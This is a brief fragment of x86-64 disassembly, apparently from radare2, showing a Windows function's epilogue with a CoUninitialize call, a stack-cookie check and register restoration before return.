call qword [sym.imp.ole32.dll_CoUninitialize]
mov al, bl
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret